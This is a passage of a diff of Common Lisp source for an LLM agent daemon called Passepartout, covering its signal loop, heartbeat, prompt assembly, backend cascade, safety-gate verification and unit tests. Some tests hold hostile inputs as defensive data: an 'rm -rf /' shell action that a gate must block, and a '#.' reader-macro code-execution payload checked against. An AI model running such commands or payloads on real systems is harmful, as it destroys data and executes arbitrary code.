"Handle to the heartbeat thread.")
|
||||
|
||||
(defun loop-process (signal)
|
||||
"The entry point to the Metabolic Pipeline: Perceive -> Reason -> Act."
|
||||
(let ((current-signal signal))
|
||||
(loop while current-signal do
|
||||
(let ((depth (getf current-signal :depth 0))
|
||||
(meta (getf current-signal :meta)))
|
||||
(when (> depth 10)
|
||||
(log-message "METABOLISM ERROR: Max recursion depth reached.")
|
||||
(return nil))
|
||||
|
||||
(when (bt:with-lock-held (*loop-interrupt-lock*) *interrupt-flag*)
|
||||
(log-message "METABOLISM: Interrupted by shutdown signal.")
|
||||
(return nil))
|
||||
|
||||
(restart-case
|
||||
(handler-bind
|
||||
((pipeline-error (lambda (c)
|
||||
(log-message "PIPELINE ERROR: ~a" (error-message c)))))
|
||||
(handler-case
|
||||
(progn
|
||||
(setf current-signal (perceive-gate current-signal))
|
||||
(setf current-signal (reason-gate current-signal))
|
||||
(let ((feedback (act-gate current-signal)))
|
||||
(if feedback
|
||||
(progn
|
||||
(unless (getf feedback :meta) (setf (getf feedback :meta) meta))
|
||||
(setf current-signal feedback))
|
||||
(setf current-signal nil))))
|
||||
(error (c)
|
||||
(let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
|
||||
(log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
|
||||
(unless (member sensor '(:loop-error :tool-error :syntax-error))
|
||||
(log-message "CRITICAL ERROR: Initiating Micro-Rollback.")
|
||||
(rollback-memory 0))
|
||||
(if (or (> depth 2) (member sensor '(:loop-error :tool-error)))
|
||||
(setf current-signal nil)
|
||||
(setf current-signal
|
||||
(list :type :EVENT :depth (1+ depth) :meta meta
|
||||
:payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth))))))))
|
||||
(skip-signal ()
|
||||
:report "Drop the current signal and continue the loop."
|
||||
(setf current-signal nil))
|
||||
(use-fallback (text)
|
||||
:report "Inject a canned response instead of the LLM result."
|
||||
(setf current-signal
|
||||
(list :type :EVENT :depth (1+ depth) :meta meta
|
||||
:payload (list :sensor :loop-error :message text :depth depth))))
|
||||
(abort-pipeline ()
|
||||
:report "Terminate the cognitive cycle cleanly."
|
||||
(return nil)))))))
|
||||
|
||||
(defun process-signal (signal)
|
||||
(loop-process signal))
|
||||
|
||||
(defvar *memory-auto-save-interval* 300)
|
||||
|
||||
(defvar *heartbeat-save-counter* 0)
|
||||
|
||||
(defun heartbeat-start ()
|
||||
"Starts the background heartbeat thread."
|
||||
(let ((interval (or (ignore-errors (parse-integer (uiop:getenv "HEARTBEAT_INTERVAL"))) 60))
|
||||
(auto-save (or (ignore-errors (parse-integer (uiop:getenv "MEMORY_AUTO_SAVE_INTERVAL"))) *memory-auto-save-interval*)))
|
||||
(setf *memory-auto-save-interval* auto-save)
|
||||
(setf *heartbeat-save-counter* 0)
|
||||
|
||||
(setf *heartbeat-thread*
|
||||
(bt:make-thread
|
||||
(lambda ()
|
||||
(loop
|
||||
(sleep interval)
|
||||
(incf *heartbeat-save-counter*)
|
||||
(when (>= *heartbeat-save-counter* (/ *memory-auto-save-interval* interval))
|
||||
(setf *heartbeat-save-counter* 0)
|
||||
(save-memory-to-disk))
|
||||
(stimulus-inject
|
||||
(list :type :EVENT :payload (list :sensor :heartbeat :unix-time (get-universal-time))))))
|
||||
:name "passepartout-heartbeat"))))
|
||||
|
||||
(defvar *shutdown-save-enabled* t)
|
||||
|
||||
(defvar *system-health* :unknown
|
||||
"Current system health status: :healthy, :degraded, :unhealthy, or :unknown.")
|
||||
|
||||
(defvar *health-check-ran* nil
|
||||
"Flag indicating if initial health check has completed.")
|
||||
|
||||
(defun diagnostics-startup-run ()
|
||||
"Runs the doctor diagnostics on startup. Returns health status."
|
||||
(format t "~%")
|
||||
(format t "==================================================~%")
|
||||
(format t " DOCTOR: Running Startup Health Check~%")
|
||||
(format t "==================================================~%")
|
||||
(handler-case
|
||||
(progn
|
||||
(when (fboundp 'diagnostics-run-all)
|
||||
(let ((result (diagnostics-run-all :auto-install nil)))
|
||||
(setf *health-check-ran* t)
|
||||
(if result
|
||||
(progn
|
||||
(setf *system-health* :healthy)
|
||||
(format t "DAEMON: Health check passed. Starting services.~%"))
|
||||
(progn
|
||||
(setf *system-health* :degraded)
|
||||
(format t "DAEMON: Health check found issues.~%")
|
||||
(format t " Run 'passepartout diagnostics' to repair.~%")))))
|
||||
(setf *health-check-ran* t))
|
||||
(error (c)
|
||||
(format t "DIAGNOSTICS ERROR: ~a~%" c)
|
||||
(setf *system-health* :unhealthy)
|
||||
(setf *health-check-ran* t)))
|
||||
(format t "==================================================~%~%"))
|
||||
|
||||
(defun main ()
|
||||
"Entry point for Passepartout. Initializes the system and enters idle loop."
|
||||
(let* ((home (uiop:getenv "HOME"))
|
||||
(env-file (uiop:merge-pathnames* ".config/passepartout/.env" (uiop:ensure-directory-pathname home))))
|
||||
(when (uiop:file-exists-p env-file)
|
||||
(cl-dotenv:load-env env-file)))
|
||||
|
||||
(load-memory-from-disk)
|
||||
(actuator-initialize)
|
||||
(skill-initialize-all)
|
||||
|
||||
;; Run proactive diagnostics before starting services
|
||||
(diagnostics-startup-run)
|
||||
|
||||
(when (fboundp 'events-start-heartbeat)
|
||||
(events-start-heartbeat))
|
||||
(start-daemon)
|
||||
|
||||
#+sbcl
|
||||
(sb-sys:enable-interrupt sb-unix:sigint
|
||||
(lambda (sig code scp)
|
||||
(declare (ignore sig code scp))
|
||||
(log-message "SHUTDOWN: SIGINT received. Saving memory...")
|
||||
(when *shutdown-save-enabled* (save-memory-to-disk))
|
||||
(uiop:quit 0)))
|
||||
|
||||
(let ((sleep-interval (or (ignore-errors (parse-integer (uiop:getenv "DAEMON_SLEEP_INTERVAL"))) 3600)))
|
||||
(loop
|
||||
(when (bt:with-lock-held (*loop-interrupt-lock*) *interrupt-flag*)
|
||||
(log-message "SHUTDOWN: Interrupt flag set. Saving memory...")
|
||||
(when *shutdown-save-enabled* (save-memory-to-disk))
|
||||
(return))
|
||||
(sleep sleep-interval))))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-immune-system-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:immune-suite))
|
||||
|
||||
(in-package :passepartout-immune-system-tests)
|
||||
|
||||
(def-suite immune-suite :description "Verification of the Immune System (Core Error Hooks)")
|
||||
(in-suite immune-suite)
|
||||
|
||||
(test loop-error-injection
|
||||
"Contract 1: a crash in think/decide triggers :loop-error stimulus."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout:defskill :evil-skill
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :user-input))
|
||||
:probabilistic (lambda (ctx) (declare (ignore ctx)) (error "CRITICAL BRAIN FAILURE"))
|
||||
:deterministic nil)
|
||||
(passepartout:loop-process '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(let ((logs (if (fboundp 'passepartout::context-get-system-logs)
|
||||
(passepartout:context-get-system-logs 20)
|
||||
nil)))
|
||||
(is (or (null logs) ; no log service available — degraded but not broken
|
||||
(not (null (find-if (lambda (line) (search "CRITICAL BRAIN FAILURE" line)) logs)))))))
|
||||
|
||||
(test test-process-signal-normal-path
|
||||
"Contract 1: a valid signal passes through the pipeline without crash."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(handler-case
|
||||
(let ((signal (list :type :EVENT :depth 0 :payload (list :sensor :heartbeat))))
|
||||
(process-signal signal)
|
||||
(pass))
|
||||
(error (c)
|
||||
(fail "Pipeline crashed on normal signal: ~a" c))))
|
||||
|
||||
(test test-loop-process-returns-nil-on-deep
|
||||
"Contract 1: depth > 10 returns nil from loop-process."
|
||||
(let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat)))))
|
||||
(is (null result))))
|
||||
508
lisp/core-reason.lisp
Normal file
508
lisp/core-reason.lisp
Normal file
@@ -0,0 +1,508 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *probabilistic-backends* (make-hash-table :test 'equal)
|
||||
"Maps provider keyword → handler function (prompt system-prompt &key model).")
|
||||
|
||||
(defun register-probabilistic-backend (name fn)
|
||||
"Register FN as the handler for provider NAME."
|
||||
(setf (gethash name *probabilistic-backends*) fn))
|
||||
|
||||
(defvar *provider-cascade* nil)
|
||||
|
||||
(defvar *model-selector* nil)
|
||||
|
||||
(defvar *consensus-enabled* nil)
|
||||
|
||||
(defun backend-cascade-call (prompt &key
|
||||
(system-prompt "You are the Probabilistic engine.")
|
||||
(cascade nil)
|
||||
(context nil)
|
||||
tools)
|
||||
(let ((backends (or cascade *provider-cascade*))
|
||||
(result nil))
|
||||
(dolist (backend backends (or result
|
||||
(list :type :LOG
|
||||
:payload (list :text "Neural Cascade Failure: All providers exhausted."))))
|
||||
(let ((backend-fn (gethash backend *probabilistic-backends*)))
|
||||
(when backend-fn
|
||||
(log-message "PROBABILISTIC: Attempting backend ~a..." backend)
|
||||
(let* ((model (and *model-selector*
|
||||
(funcall *model-selector* backend context)))
|
||||
(skip (eq model :skip))
|
||||
(r (unless skip
|
||||
(apply backend-fn
|
||||
(append (list prompt system-prompt :model model)
|
||||
(when tools (list :tools tools)))))))
|
||||
(when skip
|
||||
(log-message "PROBABILISTIC: Skipping ~a (filtered)" backend))
|
||||
(cond ((and (listp r) (eq (getf r :status) :success))
|
||||
(let ((tool-calls (getf r :tool-calls)))
|
||||
(if tool-calls
|
||||
(return (list :status :success :tool-calls tool-calls))
|
||||
(progn
|
||||
(setf result (getf r :content))
|
||||
(return result)))))
|
||||
((stringp r)
|
||||
(setf result r)
|
||||
(return result))
|
||||
(t
|
||||
(log-message "PROBABILISTIC: Backend ~a failed: ~a"
|
||||
backend (getf r :message))))))))))
|
||||
|
||||
(defun markdown-strip (text)
|
||||
(if (and text (stringp text))
|
||||
(let ((cleaned text))
|
||||
(setf cleaned (cl-ppcre:regex-replace-all "^```[a-z]*\\n" cleaned ""))
|
||||
(setf cleaned (cl-ppcre:regex-replace-all "\\n```$" cleaned ""))
|
||||
(setf cleaned (cl-ppcre:regex-replace-all "```" cleaned ""))
|
||||
(string-trim '(#\Space #\Newline #\Tab) cleaned))
|
||||
text))
|
||||
|
||||
(defun plist-keywords-normalize (plist)
|
||||
(when (listp plist)
|
||||
(loop for (k v) on plist by #'cddr
|
||||
collect (if (and (symbolp k) (not (keywordp k)))
|
||||
(intern (string k) :keyword)
|
||||
k)
|
||||
collect v)))
|
||||
|
||||
;; v0.7.2: live config section for system prompt
|
||||
(defun assemble-config-section ()
|
||||
"Build the CONFIG section of the system prompt from live state."
|
||||
(let ((provider-names "")
|
||||
(context-window (if (and (boundp '*tokenizer-provider*) (fboundp 'tokenizer-context-limit))
|
||||
(tokenizer-context-limit (symbol-value '*tokenizer-provider*))
|
||||
8192))
|
||||
(gate-count 10)
|
||||
(rules-count 0))
|
||||
(when (boundp '*provider-cascade*)
|
||||
(setf provider-names
|
||||
(format nil "~{~a~^, ~}"
|
||||
(mapcar (lambda (p)
|
||||
(handler-case (or (getf p :model) (getf p :provider) "")
|
||||
(error () (princ-to-string p))))
|
||||
(symbol-value '*provider-cascade*)))))
|
||||
(when (boundp '*hitl-pending*)
|
||||
(setf rules-count (hash-table-count (symbol-value '*hitl-pending*))))
|
||||
(format nil "CONFIG: You are Passepartout v0.7.2. Provider: ~a. Context: ~d tokens. Security gates: ~d active. Rules learned: ~d. Documentation: USER_MANUAL.org."
|
||||
(if (string= provider-names "") "default" provider-names)
|
||||
context-window gate-count rules-count)))
|
||||
|
||||
(defun think-assemble-prompt (context)
|
||||
"Phase 2-3 of the metabolic cycle: context + system prompt assembly.
|
||||
Returns three values: system-prompt, raw-prompt, reply-stream."
|
||||
(let* ((sensor (proto-get (proto-get context :payload) :sensor))
|
||||
(active-skill (find-triggered-skill context))
|
||||
(tool-belt (generate-tool-belt-prompt))
|
||||
(reply-stream (proto-get context :reply-stream))
|
||||
(global-context (if (fboundp 'context-assemble-cached)
|
||||
(context-assemble-cached context sensor)
|
||||
(if (fboundp 'context-assemble-global-awareness)
|
||||
(context-assemble-global-awareness)
|
||||
"[Awareness skill not loaded]")))
|
||||
(system-logs (if (fboundp 'context-get-system-logs)
|
||||
(context-get-system-logs)
|
||||
"[No system logs available]"))
|
||||
(assistant-name (or (uiop:getenv "MEMEX_ASSISTANT") "Agent"))
|
||||
(rejection-trace (proto-get (proto-get context :payload) :rejection-trace))
|
||||
(prompt-generator (when active-skill (skill-probabilistic-prompt active-skill)))
|
||||
(raw-prompt (if prompt-generator
|
||||
(funcall prompt-generator context)
|
||||
(let ((p (proto-get (proto-get context :payload) :text)))
|
||||
(if (and p (stringp p)) p "Maintain metabolic stasis."))))
|
||||
(reflection-feedback (if rejection-trace
|
||||
(format nil "~%~%PREVIOUS PROPOSAL REJECTED: ~a" rejection-trace)
|
||||
""))
|
||||
(standing-mandates-text (let ((out ""))
|
||||
(dolist (fn *standing-mandates*)
|
||||
(let ((text (ignore-errors (funcall fn context))))
|
||||
(when (and text (stringp text) (> (length text) 0))
|
||||
(setf out (concatenate 'string out text (string #\Newline))))))
|
||||
(when (> (length out) 0) out)))
|
||||
(identity-content (if (fboundp 'agent-identity)
|
||||
(agent-identity)
|
||||
""))
|
||||
(config-section (if (fboundp 'assemble-config-section)
|
||||
(assemble-config-section)
|
||||
""))
|
||||
(time-section (if (fboundp 'sensor-time-duration)
|
||||
(format-time-for-llm
|
||||
:session-duration-seconds (funcall (symbol-function 'session-duration)))
|
||||
(if (fboundp 'format-time-for-llm)
|
||||
(format-time-for-llm)
|
||||
"")))
|
||||
(system-prompt (if (fboundp 'prompt-prefix-cached)
|
||||
(let* ((prefix (prompt-prefix-cached assistant-name identity-content
|
||||
reflection-feedback
|
||||
standing-mandates-text tool-belt)))
|
||||
(if (fboundp 'enforce-token-budget)
|
||||
(multiple-value-bind (pfx ctxt logs _ mandates)
|
||||
(enforce-token-budget prefix global-context system-logs
|
||||
raw-prompt standing-mandates-text)
|
||||
(declare (ignore _))
|
||||
(setf standing-mandates-text mandates)
|
||||
(format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
|
||||
time-section config-section pfx (or ctxt "") logs))
|
||||
(format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
|
||||
time-section config-section prefix (or global-context "") system-logs)))
|
||||
(format nil "~a~%~%~a~%~%IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
|
||||
time-section config-section
|
||||
assistant-name identity-content reflection-feedback
|
||||
(if standing-mandates-text
|
||||
(concatenate 'string (string #\Newline) standing-mandates-text)
|
||||
"")
|
||||
tool-belt (or global-context "") system-logs))))
|
||||
(values system-prompt raw-prompt reply-stream)))
|
||||
|
||||
(defun think-call-llm (raw-prompt system-prompt reply-stream context)
|
||||
"Phase 4 of the metabolic cycle: call the LLM via streaming or batch cascade.
|
||||
Returns the raw LLM response (string or plist with :tool-calls)."
|
||||
;; v0.5.0 deferred: budget enforcement — refuse calls when cap is exhausted
|
||||
(when (and (fboundp 'budget-exhausted-p) (budget-exhausted-p))
|
||||
(return-from think-call-llm (budget-exhaustion-message)))
|
||||
(if (and reply-stream (fboundp 'cascade-stream))
|
||||
(let ((acc (make-string-output-stream)))
|
||||
(funcall 'cascade-stream raw-prompt system-prompt
|
||||
(lambda (delta)
|
||||
(when reply-stream
|
||||
(format reply-stream "~a"
|
||||
(frame-message (list :type :stream-chunk
|
||||
:payload (list :text delta))))
|
||||
(finish-output reply-stream))
|
||||
(write-string delta acc)))
|
||||
(get-output-stream-string acc))
|
||||
(backend-cascade-call raw-prompt
|
||||
:system-prompt system-prompt
|
||||
:context context)))
|
||||
|
||||
(defun think-parse-response (thought)
|
||||
"Phases 5-7 of the metabolic cycle: cost tracking + response parsing.
|
||||
Returns an action plist ready for cognitive-verify."
|
||||
(let ((tool-calls (and (listp thought) (getf thought :tool-calls))))
|
||||
(when (and (fboundp 'cost-track-backend-call)
|
||||
(stringp thought)
|
||||
(or (null tool-calls)))
|
||||
(ignore-errors
|
||||
(cost-track-backend-call (first *provider-cascade*)
|
||||
thought)))
|
||||
(if tool-calls
|
||||
(let* ((first-call (car tool-calls))
|
||||
(tool-name (getf first-call :name))
|
||||
(args (getf first-call :arguments))
|
||||
(args-plist (json-alist-to-plist args)))
|
||||
(list :TYPE :REQUEST
|
||||
:PAYLOAD (list* :TOOL tool-name
|
||||
:ARGS args-plist
|
||||
:EXPLANATION "Generated by function-calling engine.")))
|
||||
(let* ((cleaned (if (and (listp thought) (getf thought :type))
|
||||
(format nil "~a" (getf (getf thought :payload) :text))
|
||||
(markdown-strip thought))))
|
||||
(if (and cleaned (stringp cleaned) (> (length cleaned) 0)
|
||||
(or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[)))
|
||||
(handler-case
|
||||
(let ((parsed (let ((*read-eval* nil)) (read-from-string cleaned))))
|
||||
(if (listp parsed)
|
||||
(let ((normalized (plist-keywords-normalize parsed)))
|
||||
(let ((payload (proto-get normalized :payload)))
|
||||
(if (and payload (proto-get payload :explanation))
|
||||
normalized
|
||||
(let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine."
|
||||
(if (listp payload) payload nil))))
|
||||
(list* :PAYLOAD new-payload
|
||||
(loop for (k v) on normalized by #'cddr
|
||||
unless (eq k :PAYLOAD)
|
||||
collect k collect v))))))
|
||||
(list :TYPE :REQUEST :PAYLOAD
|
||||
(list :ACTION :MESSAGE :TEXT cleaned
|
||||
:EXPLANATION "Generated by the Probabilistic engine."))))
|
||||
(error ()
|
||||
(list :TYPE :REQUEST :PAYLOAD
|
||||
(list :ACTION :MESSAGE :TEXT cleaned
|
||||
:EXPLANATION "Generated by the Probabilistic engine."))))
|
||||
(list :TYPE :REQUEST :PAYLOAD
|
||||
(list :ACTION :MESSAGE
|
||||
:TEXT (if (stringp cleaned) cleaned "No response")
|
||||
:EXPLANATION "Generated by the Probabilistic engine.")))))))
|
||||
|
||||
(defun think (context)
|
||||
"The probabilistic reasoning engine — orchestrates prompt assembly, LLM call,
|
||||
and response parsing into an action plist for cognitive-verify."
|
||||
(when (fboundp 'snapshot-memory)
|
||||
(snapshot-memory))
|
||||
(multiple-value-bind (system-prompt raw-prompt reply-stream)
|
||||
(think-assemble-prompt context)
|
||||
(let ((thought (think-call-llm raw-prompt system-prompt reply-stream context)))
|
||||
(think-parse-response thought))))
|
||||
|
||||
(defun json-alist-to-plist (alist)
|
||||
"Convert a JSON alist to a keyword-prefixed plist."
|
||||
(when (listp alist)
|
||||
(loop for (key . value) in alist
|
||||
append (list (intern (string-upcase (string key)) :keyword)
|
||||
(if (listp value)
|
||||
(if (consp (car value))
|
||||
(json-alist-to-plist value)
|
||||
value)
|
||||
value)))))
|
||||
|
||||
(defun cognitive-verify (proposed-action context)
|
||||
"Runs all registered deterministic gates against the proposed action,
|
||||
sorted by priority (highest first). Returns a rejection plist or the action."
|
||||
(let ((current-action (copy-tree proposed-action))
|
||||
(approval-needed nil)
|
||||
(approval-action nil)
|
||||
(gates nil)
|
||||
(gate-trace nil))
|
||||
;; Collect gates sorted by priority (highest first)
|
||||
(maphash (lambda (name skill)
|
||||
(declare (ignore name))
|
||||
(when (skill-deterministic-fn skill)
|
||||
(push (cons (skill-priority skill) (cons (skill-name skill) (skill-deterministic-fn skill))) gates)))
|
||||
*skill-registry*)
|
||||
(setf gates (sort gates #'> :key #'car))
|
||||
(dolist (gate-entry gates)
|
||||
(let* ((gate-name (cadr gate-entry))
|
||||
(result (funcall (cddr gate-entry) current-action context)))
|
||||
(cond
|
||||
((eq (getf result :level) :approval-required)
|
||||
(push (list :gate (or gate-name (car gate-entry)) :result :approval) gate-trace)
|
||||
(setf approval-needed t
|
||||
approval-action (getf (getf result :payload) :action)))
|
||||
((member (getf result :type) '(:LOG :EVENT))
|
||||
(push (list :gate (or gate-name (car gate-entry)) :result :blocked) gate-trace)
|
||||
(let ((blocked-result (copy-list result)))
|
||||
(setf (getf blocked-result :gate-trace) (nreverse gate-trace))
|
||||
(return-from cognitive-verify blocked-result)))
|
||||
((and (listp result) result)
|
||||
(push (list :gate (or gate-name (car gate-entry)) :result :passed) gate-trace)
|
||||
(setf current-action result)))))
|
||||
(if approval-needed
|
||||
(list :type :EVENT :level :approval-required
|
||||
:gate-trace (nreverse gate-trace)
|
||||
:payload (list :sensor :approval-required
|
||||
:action approval-action))
|
||||
(let ((passed-result (copy-tree current-action)))
|
||||
(setf (getf passed-result :gate-trace) (nreverse gate-trace))
|
||||
passed-result))))
|
||||
|
||||
(defun loop-gate-reason (signal)
|
||||
(let* ((type (proto-get signal :type))
|
||||
(payload (proto-get signal :payload))
|
||||
(sensor (proto-get payload :sensor)))
|
||||
(unless (and (eq type :EVENT) (member sensor '(:user-input :chat-message)))
|
||||
(return-from loop-gate-reason signal))
|
||||
(let ((retries 3)
|
||||
(current-signal (copy-tree signal))
|
||||
(last-rejection nil))
|
||||
(loop
|
||||
(when (<= retries 0)
|
||||
(setf (getf signal :approved-action) last-rejection)
|
||||
(setf (getf signal :status) :reasoned)
|
||||
(return signal))
|
||||
(when last-rejection
|
||||
(setf (getf (getf current-signal :payload) :rejection-trace) last-rejection))
|
||||
(let ((candidate (think current-signal)))
|
||||
(if (and candidate (listp candidate))
|
||||
(let ((verified (cognitive-verify candidate current-signal)))
|
||||
;; Approval-required is not a rejection — pass to act for Flight Plan
|
||||
(if (eq (getf verified :level) :approval-required)
|
||||
(progn
|
||||
(setf (getf signal :approved-action) verified)
|
||||
(setf (getf signal :status) :requires-approval)
|
||||
(return signal))
|
||||
;; Hard rejection: retry with feedback
|
||||
(if (member (getf verified :type) '(:LOG :EVENT))
|
||||
(progn (decf retries) (setf last-rejection verified))
|
||||
(progn
|
||||
(setf (getf signal :approved-action) verified)
|
||||
(setf (getf signal :status) :reasoned)
|
||||
(return signal)))))
|
||||
(progn
|
||||
(setf (getf signal :approved-action) nil)
|
||||
(setf (getf signal :status) :reasoned)
|
||||
(return signal))))))))
|
||||
|
||||
(defun reason-gate (signal)
|
||||
(loop-gate-reason signal))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-pipeline-reason-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:pipeline-reason-suite))
|
||||
|
||||
(in-package :passepartout-pipeline-reason-tests)
|
||||
|
||||
(def-suite pipeline-reason-suite :description "Test suite for Reason pipeline")
|
||||
(in-suite pipeline-reason-suite)
|
||||
|
||||
(test test-decide-gate-safety
|
||||
"Contract 1: cognitive-verify blocks unsafe actions with :LOG rejection."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout::defskill :mock-safety
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx))
|
||||
(if (search "rm -rf" (format nil "~s" action))
|
||||
(list :type :LOG :payload (list :text "Rejected"))
|
||||
action)))
|
||||
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "rm -rf /")))
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(result (cognitive-verify candidate signal)))
|
||||
(is (eq :LOG (getf result :type)))))
|
||||
|
||||
(test test-cognitive-verify-pass-through
|
||||
"Contract 1: safe actions pass through cognitive-verify unchanged."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout::defskill :mock-passthrough
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx))
|
||||
action))
|
||||
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "echo hello")))
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(result (cognitive-verify candidate signal)))
|
||||
(is (eq :REQUEST (getf result :type)))
|
||||
(is (equal (getf candidate :payload) (getf result :payload)))
|
||||
(is (getf result :gate-trace))))
|
||||
|
||||
(test test-cognitive-verify-empty-registry
|
||||
"Contract 1: with no gates registered, action passes through unchanged."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "ls")))
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(result (cognitive-verify candidate signal)))
|
||||
(is (eq :REQUEST (getf result :type)))
|
||||
(is (equal (getf candidate :payload) (getf result :payload)))))
|
||||
|
||||
(test test-cognitive-verify-approval-required
|
||||
"Contract 1: gate returning :approval-required produces an approval event."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout::defskill :mock-approval
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx))
|
||||
(list :type :EVENT :level :approval-required
|
||||
:payload (list :action action))))
|
||||
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "sudo reboot")))
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(result (cognitive-verify candidate signal)))
|
||||
(is (eq :approval-required (getf result :level)))
|
||||
(is (eq :EVENT (getf result :type)))))
|
||||
|
||||
(test test-loop-gate-reason-passthrough
|
||||
"Contract 2: non-user-input sensors pass through loop-gate-reason unchanged."
|
||||
(let* ((signal '(:type :EVENT :payload (:sensor :heartbeat) :meta (:source :system)))
|
||||
(result (loop-gate-reason signal)))
|
||||
(is (not (null result)))))
|
||||
|
||||
(test test-loop-gate-reason-sets-status
|
||||
"Contract 2: loop-gate-reason sets :status on :user-input signals."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((passepartout::*provider-cascade* nil)
|
||||
(signal (list :type :EVENT :payload (list :sensor :user-input :text "test")))
|
||||
(result (loop-gate-reason signal)))
|
||||
(is (member (getf result :status) '(:reasoned :requires-approval)))))
|
||||
|
||||
(test test-backend-cascade-no-backends
|
||||
"Contract 4: empty cascade returns :LOG failure."
|
||||
(let* ((passepartout::*provider-cascade* nil)
|
||||
(passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
|
||||
(result (backend-cascade-call "test" :cascade '())))
|
||||
(is (eq :LOG (getf result :type)))
|
||||
(is (search "exhausted" (getf (getf result :payload) :text) :test #'char-equal))))
|
||||
|
||||
(test test-backend-cascade-with-mock
|
||||
"Contract 4: backend-cascade-call returns content from first successful backend."
|
||||
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)))
|
||||
(setf (gethash :mock-backend passepartout::*probabilistic-backends*)
|
||||
(lambda (prompt sp &key model)
|
||||
(declare (ignore prompt sp model))
|
||||
(list :status :success :content "mock-response")))
|
||||
(let ((result (backend-cascade-call "hello" :cascade '(:mock-backend))))
|
||||
(is (string= "mock-response" result)))))
|
||||
|
||||
(test test-read-eval-rce-blocked
|
||||
"Contract 1/v0.3.1: #. reader macro in LLM output must not execute arbitrary code."
|
||||
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
|
||||
(passepartout::*provider-cascade* '(:mock-evil)))
|
||||
(setf (gethash :mock-evil passepartout::*probabilistic-backends*)
|
||||
(lambda (prompt sp &key model)
|
||||
(declare (ignore prompt sp model))
|
||||
(list :status :success :content "(#.(setf passepartout::*v031-rce-test* :PWNED))")))
|
||||
(setf passepartout::*v031-rce-test* nil)
|
||||
(setf *read-eval* t)
|
||||
(let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "test") :depth 0))
|
||||
(result (passepartout::think ctx)))
|
||||
(is (not (eq passepartout::*v031-rce-test* :PWNED)))
|
||||
(is (eq :REQUEST (getf result :TYPE)))
|
||||
(setf *read-eval* nil))))
|
||||
|
||||
(test test-json-alist-to-plist-simple
|
||||
"Contract 5: converts simple alist to keyword plist."
|
||||
(let ((alist (list (cons "action" "shell") (cons "cmd" "echo hello"))))
|
||||
(let ((result (json-alist-to-plist alist)))
|
||||
(is (eq :ACTION (first result)))
|
||||
(is (string= "shell" (second result)))
|
||||
(is (eq :CMD (third result)))
|
||||
(is (string= "echo hello" (fourth result))))))
|
||||
|
||||
(test test-json-alist-to-plist-nested
|
||||
"Contract 5: nested alists recurse into nested plists."
|
||||
(let ((alist (list (cons "tool" "write-file")
|
||||
(cons "args" (list (cons "filepath" "/tmp/x")
|
||||
(cons "content" "hi"))))))
|
||||
(let ((result (json-alist-to-plist alist)))
|
||||
(is (eq :TOOL (first result)))
|
||||
(is (eq :ARGS (third result)))
|
||||
(let ((inner (fourth result)))
|
||||
(is (eq :FILEPATH (first inner)))
|
||||
(is (string= "/tmp/x" (second inner)))
|
||||
(is (eq :CONTENT (third inner)))))))
|
||||
|
||||
(test test-json-alist-to-plist-array-passthrough
|
||||
"Contract 5: JSON arrays pass through unchanged."
|
||||
(let ((alist (list (cons "names" (list "alice" "bob")))))
|
||||
(let ((result (json-alist-to-plist alist)))
|
||||
(is (eq :NAMES (first result)))
|
||||
(is (equal (list "alice" "bob") (second result))))))
|
||||
|
||||
(test test-json-alist-to-plist-null
|
||||
"Contract 5: nil passes through unchanged."
|
||||
(let ((result (json-alist-to-plist nil)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-json-alist-to-plist-scalar
|
||||
"Contract 5: scalar values pass through."
|
||||
(let ((alist (list (cons "count" 42) (cons "active" :true))))
|
||||
(let ((result (json-alist-to-plist alist)))
|
||||
(is (eq :COUNT (first result)))
|
||||
(is (= 42 (second result)))
|
||||
(is (eq :ACTIVE (third result)))
|
